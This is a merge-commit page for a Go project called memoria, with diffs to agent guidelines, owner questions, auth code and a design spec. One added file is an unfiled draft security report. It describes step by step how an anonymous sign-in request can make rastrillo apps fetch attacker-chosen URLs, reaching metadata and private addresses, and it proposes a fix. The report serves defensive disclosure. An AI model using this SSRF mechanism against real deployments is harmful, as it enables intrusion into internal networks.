oficina / memoria Public

Merge branch 'worktree-tensorx-provider' into main

Consume the suite doctrine, name the provider, and start slice 1

TensorX is the named provider (decision 13): open weights, EU
infrastructure, one contractual counterparty rather than a proxy plus an
upstream. Dated model ids, recosted, and the finding that encoding_format
base64 is accepted and silently ignored.

memoria is a search page, not a chat (decision 14) — on decision 5's
grounds, not decision 3's, with a conversational surface parked in the
later-work table rather than forbidden.

The suite doctrine adopted (Appendix A.4): decisions 1, 3 and 4 become
cited rulings, decision 11 is superseded by the home's roster, S7 is
retired, the blanket write ban becomes ruling 9's two narrow forms, and
the egress section cites suite section 8 — which is how oficina/docs
discussion 33 closed.

Slice 1's client half: internal/memoria/sibling, the S2 client against the
contract module, carrying the obligation the module cannot — a call with
no status has nothing to decode, so the caller synthesises UNKNOWN.

Five review passes, all REQUEST CHANGES, recorded in 1.7 to 1.11. Two live
bypasses found in shipped code by adversarial mutation. Two findings leave
this repo: an unauthenticated SSRF in rastrillo's sign-in classifier,
written up and deliberately unfiled; and memoria's gates have never run in
CI at all.

Review record: discussion 2.
claude agent, operated by paul@keymail.dev pushed by paul@keymail.dev 6b3d4e0663d1a3706c31d7e022157180426cbe87 parent 9b55ab8parent aecdfb0
17 files changed, +3403 −442
  • .gitignore +8 −0
  • AGENTS.md +55 −12
  • QUESTIONS-FOR-PAUL.md +128 −23
  • SECURITY-DRAFT-rastrillo-signin.md +89 −0
  • cmd/memoria/main.go +15 −7
  • docs/superpowers/specs/2026-09-03-memoria-design.md +1596 −376
  • go.mod +2 −2
  • go.sum +2 −0
  • internal/memoria/app.go +3 −1
  • internal/memoria/auth.go +148 −15
  • internal/memoria/handlers.go +16 −2
  • internal/memoria/sibling/sibling.go +192 −0
  • internal/memoria/sibling/sibling_test.go +359 −0
  • internal/memoriatest/admission_test.go +188 −0
  • internal/memoriatest/gates_test.go +27 −4
  • internal/memoriatest/routes_test.go +266 −0
  • internal/memoriatest/signindial_test.go +309 −0
diff --git a/.gitignore b/.gitignore
index 1001cde..30d8b48 100644
--- a/.gitignore
+++ b/.gitignore
@@ -7,6 +7,14 @@
/memoria.db-wal
/memoria.db-shm
+# Go caches belong OUTSIDE this tree. A GOMODCACHE inside the repo makes
+# `make fmt-check` walk every vendored dependency's source and fail on
+# other people's formatting — which is how this rule was learnt, not a
+# hypothetical. If ~/go is read-only, point GOPATH/GOMODCACHE/GOCACHE at a
+# writable directory elsewhere rather than at a dotfile here.
+/.gc/
+/.gmc/
+
# The copy-review working directory: a string index, a server log and the
# submitted result. Working artefacts of a review, not source.
/copy-review/
diff --git a/AGENTS.md b/AGENTS.md
index e265cb3..0b64747 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -7,7 +7,7 @@ wins. Where it disagrees with the design spec, the spec wins and this file
is wrong — fix it in the same commit.
**The design:** `docs/superpowers/specs/2026-09-03-memoria-design.md`. Its
-§1 is the settled-decisions table, §1.2–§1.4 record what five independent
+§1 is the settled-decisions table, §1.2–§1.11 record what ten independent
reviews changed. Don't relitigate a settled decision in a drive-by.
---
@@ -38,6 +38,14 @@ Two more named a test that had been renamed away. **After writing any
gate, break the thing it guards, watch it go red, revert.** Do it per
path, not per file, and say in the test comment what you mutated and when.
+**And do not choose your own mutations.** Gate 17 shipped with three, each
+verified red; a reviewer then tried five ordinary chi idioms and every one
+passed green, including a route that served a *declared* path outside the
+session gate. Three green mutations picked by the author prove the author
+is consistent, not that the gate works — they are the cases already
+defended against while writing it. **Have someone who did not write the
+gate pick the mutations.** §Review's argument, one level down. (§1.9.)
+
**A count that fails is not a count of zero.** `chunkCount` returned 0 on
error, and the page then told the reader "so this is a real absence rather
than an empty index" — the codebase's own worst failure shape, asserted on
@@ -63,6 +71,11 @@ so; it never renders as a confident zero.
line, error string or metric label.** `carlos logs` is platform-held
storage we cannot grep. Gate 4 enforces it; it was missing once, and
what it found when written was that we were logging sign-in links.
+- **A model provider's response body is content too.** An OpenAI-compatible
+ 4xx can echo the input that caused it, so the provider's error path is a
+ content path. Never log one verbatim — status and a fixed string. Gate 31
+ (spec §10); nothing calls a provider before slice 2, so this lands with
+ the first call and not after it.
- **An ADDITION to derived state is made after the transaction commits,
under `context.WithoutCancel`.** A client closing the tab must not
leave the index disagreeing with the database.
@@ -96,7 +109,11 @@ so; it never renders as a confident zero.
- **`layout.html` must link `theme.css`.** `tokens.css` defines eleven
tokens, none of them colours; without the theme every colour resolves to
`initial` and whole shorthand declarations go invalid — rules vanish
- rather than the page going grey. The rastrillo scaffold omits this link.
+ rather than the page going grey. **The v0.17.0-era scaffold omitted this
+ link**, which is how the rule was learnt; `rastrillo new` on v0.23.0
+ emits both, verified 2026-09-05. The rule stays because the failure is
+ silent, not because the scaffold still causes it — and `rastrillo doctor`
+ now checks the vendored files this app copies.
- The attribute grammar (`rst-btn="primary compact"`), never the class
spelling. Utilities stay classes.
- **Look at the page.** `tools/drive` serves the app with sign-in off so a
@@ -127,18 +144,44 @@ so; it never renders as a confident zero.
Every spec and every branch is reviewed by a model that did not write it,
before it is approved or merged, and the reviewing model is recorded.
-Eight passes so far: Fable and GPT Sol on spec drafts 1–3, Fable 5.1 on
-draft 4, one on draft 5 whose attribution is disputed (see the spec's
-review table — the reviewer named itself as the model that wrote the
-draft, so that pass may not satisfy this rule at all), Fable on the slice-0
-code, and Fable 5.1 on the drag-and-drop branch. **Every one returned
-REQUEST CHANGES**, and the code reviews have been the most useful: both
-found guards that could not fail, and the drag-and-drop review found two
-by re-running the mutations their author claimed to have run rather than
+**Fourteen passes so far, on two strands that ran in parallel and are
+counted together here because they are one project.** Spec drafts 1–3 by
+GPT Sol and Fable; draft 4 by Fable 5.1; draft 5 by a reviewer **whose
+attribution is disputed** — it named itself as the model that wrote the
+draft, so that pass may not satisfy this rule at all. The slice-0 code by
+Fable, the drag-and-drop branch by Fable 5.1, and five on the suite strand:
+the §8.3 provider amendment, §8.4's shape, gate 17 with the live-key
+verification, the doctrine adoption, and an adversarial mutation pass on
+the sign-in dial gate (gate 33 since the merge renumbered it).
+
+**Every one returned REQUEST CHANGES.** The most useful have been the ones
+aimed at tests rather than prose. The provider review found a rule broken
+in the paragraph that stated it, twice, and a fourth gate that could not
+have gone red (§1.7); the next found a product ruling argued from two
+misread sections of this same spec (§1.8); the next mutation-tested a gate
+its author had already mutation-tested and broke it five more ways (§1.9);
+the adoption review found a rule invented while citing the section that
+forbade it, plus eight contradictions in sections the commit never opened
+(§1.10); and the gate-27 pass found **two live bypasses in shipped code**,
+not mutations. The drag-and-drop review found two more the same way — by
+re-running the mutations their author claimed to have run, rather than
taking the claim.
-A reviewer's self-reported model id is not evidence. Record what was
-dispatched and what came back, and record the disagreement when they
+**The pattern is one failure wearing several coats:** the writer checks
+their work against their own model of it rather than against the thing.
+Open the section you are citing. Run the mutation you did not think of.
+When you retire something, grep for it by name — the sections you did not
+open are where an adoption commit goes wrong, because a rewritten section
+has been read twice and an untouched dependant never.
+
+**Review a merge against both parents, never against the result.** The
+merge review found more than the four passes before it combined, and it
+found it by diffing the merge against each side rather than reading what
+came out. Reading the output cannot tell you what is missing, and a merge
+is the one change whose defects are all absences (§1.11).
+
+**And a reviewer's self-reported model id is not evidence.** Record what
+was dispatched and what came back, and record the disagreement when they
differ — twice now they have.
---
diff --git a/QUESTIONS-FOR-PAUL.md b/QUESTIONS-FOR-PAUL.md
index 64646a8..811c6f1 100644
--- a/QUESTIONS-FOR-PAUL.md
+++ b/QUESTIONS-FOR-PAUL.md
@@ -41,24 +41,129 @@ table and no number.
---
-## 1. Your "C" on the OpenRouter question did not map
-
-I offered three options — name both parties, go direct, or drop routing —
-as bullets, not letters, so "C" is ambiguous. You also said "fine as long
-as openrouter seems like the right choice", which reads like keeping it.
-
-**What I did:** nothing irreversible. §8.3 and §3.6 now state the honest
-version either way, and §13 records that if embeddings and chat both route
-through OpenRouter then **two parties see content** — the proxy and the
-upstream provider — so decision 4's "one named provider" names one of two.
-
-**What I still recommend:** go direct to one provider. §8.2's router needs
-only two tiers, cheap and frontier, and one provider supplies both, so the
-proxy buys little and costs the claim.
-
-This does not bite until slice 2.
-
-## 2. Is routine partial withholding acceptable? (§6.5)
+## 1. Closed — OpenRouter is out, TensorX is in
+
+*Was: "Your 'C' on the OpenRouter question did not map." You asked for
+TensorX instead on 2026-09-04; that answers it, and the recommendation this
+question carried — go direct to one provider rather than through a proxy —
+is what TensorX does.*
+
+**What changed in the spec:** §8.3 names TensorX and says what it does not
+buy; §8.2 names `z-ai/glm-5.3-flash` and `moonshotai/kimi-k3` and
+generalises the `openrouter/auto` ban to any id that can move under a team;
+§8.6 re-derives cost; §7.2 fixes a claim that was true of OpenAI and false
+here; §12 corrects the local-embedding row; §13 carries three new items.
+
+**One thing I could not do:** verify the embeddings endpoint against a live
+key. The vendor's LlamaIndex page names OpenAI's `text-embedding-3-small`,
+which TensorX cannot be serving; their API reference names
+`qwen/qwen3-embedding-8b`, which it can. I have believed the API reference.
+If that first request in fact *succeeds* against `api.tensorx.ai`, they are
+proxying to OpenAI and we are back to two parties — see §13. **One call
+with a key settles it, and I'd rather that happened before slice 2 than
+after.**
+
+**Reviewed by Fable, REQUEST CHANGES, 10 findings, all applied.** It was
+worth doing: two of the four MAJORs were me breaking a rule in the same
+paragraph I wrote it. I had said a model id that can move under a team
+can't be printed on an answer, then picked `kimi-k3` and
+`glm-5.3-flash`, neither of which is datestamped. And I wrote that §13
+"records how that was established" three paragraphs from §13 saying
+**untested**. §1.5 has the rest.
+
+**Both questions this section asked are now answered** (2026-09-04):
+
+- **Exactly one provider, TensorX** — *"if we want to swap that later we
+ can."* Decision 13 records both halves. Swapping *generation* is cheap —
+ one client, one base URL, two model ids — through §Review, where the
+ two-parties question gets asked again. Swapping *embeddings* is not: a
+ host serving the same open weights costs a migration, anything else costs
+ a re-embed of the whole corpus. Fable caught me writing "two model ids"
+ when the third is the expensive one.
+- **Open-weight frontier is fine** — *"this is lightweight LLM inference
+ based on categorisation and memory. It's not complex reasoning."* That is
+ the right reading of §8.2 and I have put your words in §13. It also
+ prompts a question back: **if it is not complex reasoning, does §8.2 need
+ two tiers at all?** Measuring the cheap tier on the synthesis class
+ before building the expensive one would make §8.6's cost argument
+ stronger, not weaker. Not urgent; slice 2.
+
+**Cost, corrected twice and now settled.** I first said it fell, then said
+it hadn't much, and both were against the wrong baseline. Against draft 3's
+~$5 and ~$100: **~$3/month all-cheap and ~$26 all-frontier**, so the
+frontier month fell about 4× and the cheap one about 1.6×. Most of that is
+§8.2 pinning dated DeepSeek ids, not the move off OpenRouter — worth
+keeping straight so the next provider argument isn't made on a 4× that
+belongs to a different decision.
+
+**Now verified against your key (2026-09-05), with one caveat.** The
+embeddings endpoint serves `qwen/qwen3-embedding-8b` as documented, and the
+`text-embedding-3-small` probe — the one that would have shown them
+proxying to OpenAI — **came back 403.** That is the good outcome, but read
+it precisely: 403 is a *refusal*, not a *not-found*. A 404 would have said
+"no such model"; 403 is consistent with a routable name your key isn't
+entitled to. It rules out proxying-for-anyone, not proxying-for-someone.
+§8.3 still says "narrowed, not closed", and the subprocessor question is
+untouched by any of this — that needs the DPA, not the API.
+
+**Two corrections to what I told you an hour ago**, both from my reading a
+truncated list and drawing a conclusion from it: `moonshotai/kimi-k3` does
+exist, and their website's model list does match the API. I said otherwise
+on 27 of 27 models' worth of missing data. The same mistake §1.6 is about.
+
+**And one real finding: `encoding_format: "base64"` is accepted and
+silently ignored.** So ingest pulls ~4 GB over the wire for a 90k-chunk
+corpus, not the ~2 GB I hedged with, and there is no opt-out (§7.2).
+
+Still does not bite until slice 2.
+
+## 2. Closed — search page, not a chat (decision 14, §8.4)
+
+**Confirmed by you on 2026-09-05**, including that parking a conversational
+surface in §12 is the right disposition rather than forbidding it. Also
+settled the same day: keep DeepSeek for both tiers, keep two tiers *and*
+still measure, and proceed with TensorX rather than holding for the DPA.
+All four are recorded — decision 14 and §8.4; §8.2; §13; §13 again — and
+Fable caught me claiming that before two of them were actually written.
+
+**Two footnotes on rulings you gave, because the record should show what
+you were shown.** When you kept DeepSeek I had told you the pinning rule
+forced it; it didn't — a dated Qwen id exists, so a two-lab pair was
+available and I hadn't put it in front of you. Nothing needs undoing, and
+that Qwen id is now the named frontier fallback. And "proceed with TensorX
+for sure" I have read narrowly: **the provider decision is settled and
+slice 2 can be built against it, but the DPA and retention terms are still
+owed before egress is switched on over real content.** If you meant the
+wider thing, say so and §13 changes.
+
+*The question as it stood, kept because the reasoning is the useful part:*
+
+You asked whether we were building a chat UI or a hybrid. I answered
+*hybrid, search-first* — one GET search form, one query in, one page out,
+with an optional 🤖 paragraph above the citation list. §8.4 already implied
+it; it now says it.
+
+**But I first argued it as forced when it is chosen, and Fable caught me.**
+I claimed decision 3 forbade a chat outright — that re-authorizing a
+transcript would blow §6.5's latency budget. It would not: §4.1 batches 256
+pairs a call and §6.5 makes a page one round, so a four-turn transcript is
+one batch. A correct chat is affordable here. My other argument, that a
+transcript is a cache of authorized passages, is true of any page left open
+in a tab and so distinguishes nothing.
+
+**So the honest version:** the invariant decision 3 actually requires is
+that no passage crosses a request — not in a response, not in a model
+prompt — and gate 32 enforces it. The *shape* is decision 5's call: the
+search floor is the product, so the product is a search page. That is
+**decision 14, attributed to me and not to you.** A conversational surface
+that keeps the invariant is now parked in §12 as a thing to argue rather
+than a thing forbidden.
+
+**What I need:** confirm decision 14, or tell me you want the conversational
+version considered properly. Either is cheap today and neither is cheap
+after slice 2 ships an answer surface.
+
+## 3. Is routine partial withholding acceptable? (§6.5)
The genuinely new product question, and the one I would most like your
view on.
@@ -82,7 +187,7 @@ the source, never to cache its authorization. Tell me if you would rather
trade differently, because the alternative is a short-TTL cache and that
is a stated leak window rather than a correctness fix.
-## 3. Deploy it, or leave it local? — ANSWERED: it is deployed
+## 4. Deploy it, or leave it local? — ANSWERED: it is deployed
Live at **https://memoria.oficina.works**, account `bds`, channel `edge`.
The origin moved off `memoria.bds.oncarlos.com` on 2026-09-04 once the
@@ -92,7 +197,7 @@ and what the old hostname still does.
Local is still genuinely usable — keymail accepts the loopback
`client_id`, which I verified.
-## 4. Your rastrillo CLI is about six releases stale, and it affects every app
+## 5. Your rastrillo CLI is about six releases stale, and it affects every app
`rastrillo` on PATH predates v0.22.0: it has no `doctor`, and
`rastrillo new` scaffolds a **v0.17.0** pin. Two things follow, and the
@@ -112,7 +217,7 @@ second is the one that matters beyond memoria:
would fix it, but it is a shared binary other sessions are using, so I
left it alone.
-## 5. An anonymous visitor can make the instance dial any domain
+## 6. An anonymous visitor can make the instance dial any domain
Found by the code review, and it is a real hole rather than a wording
problem. rastrillo's sign-in classifier fetches
@@ -134,14 +239,14 @@ before rastrillo sees it. The second is small and I can do it, but it
changes sign-in behaviour for guests, which slice 1 will want. Say which
you'd prefer, or whether it belongs upstream in rastrillo.
-## 6. Not a question, but you should know
+## 7. Not a question, but you should know
`gpt-5.6-sol` via Codex **reported its own model id as `gpt-5`** when
asked. Codex's own banner says `gpt-5.6-sol`. I recorded the discrepancy
in the spec's review table rather than picking one, since §Review requires
attributing a review to a model and the two sources disagree.
-## 7. The deployed hostname has no `<team>` label, and the spec says it should
+## 8. The deployed hostname has no `<team>` label, and the spec says it should
home ruling 16 and this project's own spec (§6.3, and line 4) put an
instance at **`<team>.<app>.oficina.works`**. In §6.3 that label is not
diff --git a/SECURITY-DRAFT-rastrillo-signin.md b/SECURITY-DRAFT-rastrillo-signin.md
new file mode 100644
index 0000000..0e40e75
--- /dev/null
+++ b/SECURITY-DRAFT-rastrillo-signin.md
@@ -0,0 +1,89 @@
+# Draft security report — not filed
+
+**For Paul to send, through whichever channel he judges right.** I have
+not filed this anywhere. `github.com/carlosframework/rastrillo` is a
+public repo and this is an unauthenticated server-side request forgery
+affecting every app built on it, so where and how it gets disclosed is a
+decision for the person who owns the org, not for an agent at 3am.
+
+Found 2026-09-05 while building memoria's sign-in dial guard (gate 33).
+memoria's §3.2 has recorded the shallow version of this since its code
+review — *"an anonymous visitor can make the instance dial any domain they
+type"* — and Fable's review of QUESTIONS #6 said the fetcher's hardening
+should be checked before assuming it was only an existence leak. It was
+checked. It is not only an existence leak.
+
+---
+
+## The class
+
+**Unauthenticated SSRF with an attacker-chosen destination**, reachable
+from the sign-in form of any rastrillo app, before any admission check.
+
+## Where
+
+`github.com/keymaildev/signin`, `classify.go` — the `Classifier`, called
+from `rastrillo/auth`'s `Begin` handler (`auth/handlers.go`, the
+`a.flow.Begin(...)` call) which runs **before** `auth.Config.Authorize`.
+
+## Mechanism
+
+1. `POST /auth/begin` with any address. No session, no admission check.
+2. `Classifier.delegate` resolves TXT for `_keymail.<domain>`.
+3. A record of the form `v=… host=…` returns **`host` verbatim**. There is
+ no allowlist, no scheme check, no port restriction and no
+ private-address-range check on that value.
+4. `getJSON` then issues a GET to a URL built from it, using
+ `&http.Client{Timeout: 5s}` — **default redirect policy**, so up to ten
+ redirects are followed to wherever they point.
+5. On NXDOMAIN, `delegate` returns the bare domain, so the fetch happens
+ for essentially any syntactically valid domain, not only delegated ones.
+
+Anyone who controls DNS for any domain therefore chooses the destination.
+The instance makes the request from its own network position.
+
+## Why it matters more than the existence leak
+
+The recorded consequence was: instance existence, egress IP, timing
+channel. The actual reach is whatever the instance's network can reach —
+link-local metadata endpoints, private ranges, and internal services that
+answer GET — with redirects followed and a 1 MiB body read. No content
+returns to the attacker directly, which bounds it, but response *timing*
+and *status* are observable through the sign-in flow's own behaviour.
+
+## Suggested fix, and the pattern already exists in this codebase
+
+`amadan.net/oficina/suite`'s `transport.go` solves the same problem for
+sibling calls and is the shape to copy:
+
+- the host is checked **before the transport dials**, so a refused host
+ costs no connection;
+- redirects are refused outright rather than bounded — *"an allowed host
+ has to be reached to tell us to redirect"*;
+- the check is exported separately from the client, because more than the
+ HTTP path needs it.
+
+For signin specifically: refuse private, loopback, link-local and
+unspecified ranges after resolution (not before — resolve, then check the
+IP, or the check is bypassable by DNS); pin the scheme to https and the
+port to 443; refuse redirects. And in `rastrillo/auth`, **run
+`Config.Authorize` before `flow.Begin`**, which removes the anonymous
+reachability independently of the fetcher's own hardening.
+
+## What memoria has done, and what it does not fix
+
+memoria's `beginGuard` (this branch, `0bd3023`) runs the admission
+predicate before the classifier, so an unadmitted address triggers no DNS
+query and no fetch. Gate 33 holds it, mutation-tested five ways.
+
+**It does not fix this.** It narrows memoria's exposure to *owners*, and
+it does nothing for any other rastrillo app. An owner can still reach the
+unhardened fetcher. The fix belongs upstream.
+
+## Disclosure note
+
+Written to describe the defect and its fix. It deliberately contains no
+ready-to-run reproduction. Whether it goes to a public issue, a private
+advisory, or straight to a patch is Paul's call — a public issue on a
+public repo publishes the reachability to everyone running a rastrillo app
+before any of them can deploy a fix, which argues for the patch first.
diff --git a/cmd/memoria/main.go b/cmd/memoria/main.go
index 5521e3e..f7615f1 100644
--- a/cmd/memoria/main.go
+++ b/cmd/memoria/main.go
@@ -59,22 +59,30 @@ func main() {
// building a real sender either.
//
// "CARLOS" is the prefix the suite uses, matching Sheets.
+ //
+ // The owners list is set FIRST, because app.Admit reads it: it is the
+ // one admission predicate, used by rastrillo at verification, by the
+ // sign-in guard before the classifier dials, and by requireOwner on
+ // the connector routes. Ordering it after NewAuth would work — Admit
+ // reads the list at call time — and would hide the dependency, which
+ // is how the two-copy version got here.
+ //
+ // In slice 0 the connector routes check the same list the admission
+ // gate uses, so every signed-in person is an owner. requireOwner says
+ // that out loud rather than implying a restriction the app does not
+ // yet have.
+ app.SetOwners(cfg.Owners)
+
a, err := memoria.NewAuth(d.Writer(), memoria.AuthEnv{
Origin: cfg.Origin,
InstanceKey: cfg.InstanceKey,
Owners: cfg.Owners,
Mailer: mail.FromEnv("CARLOS", logger),
- }, logger, memoria.Admits(cfg.Owners))
+ }, logger, app.Admit)
if err != nil {
logger.Error("wire sign-in", "err", err)
os.Exit(1)
}
- // The connector routes check this list. In slice 0 it is the same
- // list the admission gate uses, so every signed-in person is an
- // owner — requireOwner says that out loud rather than implying a
- // restriction the app does not yet have.
- app.SetOwners(cfg.Owners)
-
app.UseAuth(a)
app.MountAuth(mux, cfg.Origin)
diff --git a/docs/superpowers/specs/2026-09-03-memoria-design.md b/docs/superpowers/specs/2026-09-03-memoria-design.md
index 469168c..5ce68e2 100644
--- a/docs/superpowers/specs/2026-09-03-memoria-design.md
+++ b/docs/superpowers/specs/2026-09-03-memoria-design.md
@@ -3,7 +3,26 @@
The Oficina suite's memory. One instance per team, at
`<team>.memoria.oficina.works`.
-**Status:** draft 5, 2026-09-04.
+**Status:** draft 5, 2026-09-04; **amended 2026-09-06** with the suite
+sharing doctrine (Appendix A.4), the TensorX provider decision, §8.4's
+shape, and slice 1's client half. Not draft 6: draft 6 is the eleven
+draft-5 findings, which are still unfixed and still listed in §13.
+
+**Consumed suite rulings.** This spec consumes `oficina/suite`
+`docs/superpowers/specs/2026-09-05-suite-sharing-doctrine.md` at
+**revision 7, commit `2b78680`** — with two amendments adopted since and
+not yet reflected here as a version bump: revision 8 (the module's
+importability, now closed) and **revision 10, which adds `AHEAD`** (§4.1).
+The module this repository pins is `60b01a8`, which is revision 8's merge.
+Gate 9 fails a spec more than one revision behind, so this citation is
+owed a bump the moment the suite's branches merge; they cannot, because
+suite CI is unconfigured (§13). Rulings 1, 3, 4, 6, 7, 9, 14 and 15 are
+cited and never restated (suite ruling 7) — 15 at §5's custody mark, which
+is where "only the `team` rung is team-visible, so custody keys on the rung
+and never on the link" decides what memoria may hold. Not consumed yet: the hand-off
+(suite §7) — §9.1 records why memoria refuses one built on its own
+material — and S8, which needs a designated-area grant memoria has no UI
+for. S6 is cited as a specification; suite §12 step 4 builds it.
Review history, per AGENTS.md §Review. None of these models wrote the
draft they reviewed; all drafts were written by Opus.
@@ -12,13 +31,21 @@ draft they reviewed; all drafts were written by Opus.
|---|---|---|
| 1 | GPT Sol (commandcode), Fable | REQUEST CHANGES ×2 — 12 and 21 findings, three structural gaps found by both |
| 2 | GPT Sol via Codex on a ChatGPT subscription — **it reported its own model id as `gpt-5`, which disagrees with the `gpt-5.6-sol` Codex labelled it; recorded as the discrepancy it is rather than resolved** | REQUEST CHANGES — 4 ANSWERED, 1 REWORDED, 6 PARTIAL, 1 blocker and 6 new findings |
-| 3 | Fable | REQUEST CHANGES — 22 findings. Ten were recorded in §13 as acknowledged and not fixed; draft 4 fixes them |
+| 3 | Fable | REQUEST CHANGES — 22 findings. Ten were recorded in §13 as acknowledged and not fixed; draft 4 fixes them. (This row read "none yet" while §13 recorded the review as done; §13 was right.) |
| 4 | Claude Fable 5.1 (`claude-fable-5-1`) | REQUEST CHANGES — 16 required changes. Draft 5 is those sixteen; §1.6 says where each went |
| 5 | Dispatched to Fable; **the reviewer reported itself as Claude Opus 5 (`claude-opus-5`), which is the model that wrote drafts 4 and 5.** Recorded as the discrepancy it is, exactly as draft 2's was. If the self-report is right, this review does not satisfy §Review and draft 5 still needs a reviewer that did not write it | REQUEST CHANGES — 11 required changes. 12 of draft 4's 16 findings graded REMOVED; the two the review was told to be hardest on (post-restore, the breaker) came back PARTIAL |
+| 3, §8.3 provider amendment | Fable | REQUEST CHANGES — 4 MAJOR, 4 MINOR, 2 NIT. All applied; §1.7 records what it changed |
+| 3, §8.4 and decisions 13–14 | Fable | REQUEST CHANGES — 5 MAJOR, 4 MINOR, 1 NIT. All applied. It found §8.4's central argument resting on a misreading of §6.5 and §4.1; §1.8 records what it changed |
+| 3, gate 17 + live-key verification | Fable | REQUEST CHANGES — 3 MAJOR, 4 MINOR, 3 NIT. All applied. **It mutation-tested gate 17 itself** and found five idioms the gate blessed, including one that served a declared path outside the session gate; §1.9 records what it changed |
+| 3, suite doctrine adoption (A.4) | Fable | **REQUEST CHANGES — 1 BLOCKER, 9 MAJOR, 3 MINOR, 1 NIT.** All applied. The blocker: §4.1 adopted a custody intersection that was not the doctrine's, could not fail, and left the leak it claimed to close. §1.10 records what it changed |
+| slice 1's S2 client, gates 33 and 21, the merge | Fable | **REQUEST CHANGES — 8 MAJOR, 4 MINOR.** All applied. It found a conflict marker committed into `.gitignore` (which `make ci` cannot see), an egress exemption paid by a test that did not exist, "one predicate" untrue of production, `S7` reintroduced by the merge into the sections that retire it, and four green mutations in the sibling client — including a silent value that rendered a count. §1.11 records it |
§1.2 records what the draft-1 reviews changed, §1.3 what the draft-2
review changed, §1.4 what the review of the built code changed, §1.5 what
the draft-3 review changed, and §1.6 what the draft-4 review changed.
+**§1.7 to §1.10 record the suite strand** — the provider decision, §8.4's
+shape, the gate review and the doctrine adoption — which ran in parallel
+on its own branch and merged on 2026-09-06.
**Draft 5 has been reviewed once, with the attribution caveat in the table
above, and returned REQUEST CHANGES. Its eleven required changes are NOT
yet fixed** — they are recorded in §13 under "Draft-5 review, not yet
@@ -71,14 +98,30 @@ embedding is a plaintext cell in a costume — §3.1.
| 1 | **The suite is the app; the team is the boundary; the implementer declares the process set.** A team's instances of sheets, docs, calendar and memoria are one trust domain. | Four boundaries, one per process — memoria could then hold only person-initiated snapshots, stale the moment taken | Paul, 2026-09-03 |
| 2 | **Not a doctrine change.** CARLOS apps to date have been single processes, so process and app coincided. Oficina's app is a suite. The doctrine is that the implementer chooses the boundary; this is applying it, not amending it. | Filing it as a family ruling at `carlos/pegamento`, the way home §2.3 filed its divergence | Paul, 2026-09-03 |
| 3 | **Team-visibility is a CUSTODY rule; the per-asker check is the AUTHORIZATION rule.** Nothing enters memoria from a sibling unless it is team-visible there, which bounds what memoria holds. Who may *read* it is asked of the owning app, per person, per query. | Draft 1's "one ACL: is a member of this team", which conflated the two and left membership drifting across four tables | Paul, 2026-09-03, after review |
-| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer, disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03 |
+| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer **and on every derived artefact** (widened 2026-09-05 under suite **§8's binding sentence**, which says "every artefact it produced" and means it — ruling 6's own row says "disclosed", so the phrase is §8's and the citation should not borrow the ruling's number for it — an answer is transient, a §5.2 artefact outlives the query and is regenerated when a source changes, so it can carry a different provider from the one that first made it), disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03. **The derived-artefact widening is not his**: raised by the memoria session and adopted into A.4 on 2026-09-05, and he has not ruled on it — §13 |
| 5 | **The search floor works with AI switched off**, and is the product. **With AI off, nothing leaves the instance at all** — which §3.2 shows is a larger difference than draft 1 realised. | An answer-first product with search as a fallback | AGENTS.md §Authorship, applied |
| 6 | **Embeddings and FTS5 postings are content.** They never reach replicated SQLite or the bucket unsealed. | Treating a vector as a derived artefact outside §0's scope, on the grounds that no plaintext bytes appear | Fable trust pass, adopted 2026-09-03 |
| 7 | **Every SIBLING call is a pull. memoria exposes no sibling-facing surface.** Its ingest endpoint serves external connectors only, which are memoria-owned content, not a sibling push. | An outbox per sibling; and draft 1's §9, which specified the push surface this decision forbids | Fable contract pass; corrected after review |
| 8 | **Provenance or deletion, at `(id, revision)` granularity.** A derived artefact whose provenance stops resolving *or whose source changed* is deleted or regenerated. memoria never fine-tunes. | Draft 1's id-level rule, which left "the Q3 target is X" standing after the source said Y | Fable ingestion pass; corrected after review |
| 10 | **memoria never does arithmetic. A number comes from a cell, or from Sheets' engine via S6.** S6 takes an enumerated function over cell refs — never expression text — so memoria is never a formula author. | memoria computing and showing its working (a second calculator, arrived at one `mean` at a time); writing a formula into a scratch sheet (a write, forbidden by §6.4) | Paul asked for numeric questions, 2026-09-03; shape ruled by Fable and GPT Sol independently, converging |
-| 11 | **Admission is derived from the siblings, not from a members table memoria maintains.** A person may enter memoria if at least one sibling says they are a member of this team. **One exception, and it is stated rather than discovered:** the platform-configured owners list the app refuses to start without bypasses `S7` entirely. It admits operators, it is fixed at provisioning, it does not grow, and it carries a revocation tail §4.3 measures — the 15-minute figure is false for owners. | Draft 2's own members table, which left a person removed everywhere else still able to read memoria-owned content; and, for the exception, leaving it implicit in §2 and §4.3, where drafts 3 and 4 left it and where it read as a contradiction rather than a carve-out | after the draft-2 review, 2026-09-03; exception recorded explicitly 2026-09-04 |
+| 11 | ~~**Admission is derived from the siblings.**~~ **SUPERSEDED 2026-09-05 by suite ruling 4** — the home owns identity, the team and the membership roster; instances pull it (suite call 8) and memoria admits from that roster in suite shape, from the owners list in lone shape. S7 is retired. The old rule was right that memoria holds no members table of its own and wrong about where the answer comes from, and it made a guest a member: "at least one sibling says MEMBER" has no value for someone on no roster. §4.3. **The owners carve-out survives the supersession and is still stated rather than discovered:** the platform-configured owners list the app refuses to start without bypasses the roster entirely. It admits operators, is fixed at provisioning, does not grow, and carries a revocation tail nothing measures: the 15-minute figure it used to cite was S7's cache, which no longer exists, and the roster's TTL does not apply to a list the roster never contained. **An owner's removal is a redeploy, and that is the honest statement of the tail.** Under ruling 4 that is no longer an exception to S7 but the whole of lone-shape admission, and in suite shape it sits beside the roster rather than inside it. | Draft 2's own members table, which left a person removed everywhere else still able to read memoria-owned content; and, for the carve-out, leaving it implicit in §2 and §4.3, where drafts 3 and 4 left it and where it read as a contradiction rather than a carve-out | after the draft-2 review, 2026-09-03; carve-out recorded explicitly 2026-09-04; superseded 2026-09-05 |
| 12 | **Name: `memoria`.** House convention is plain Spanish office nouns. A *memoria* is both a memory and, in Spanish office usage, a written record. | `archivo`; `cerebro`; `base`; anything English | Paul, 2026-09-03 |
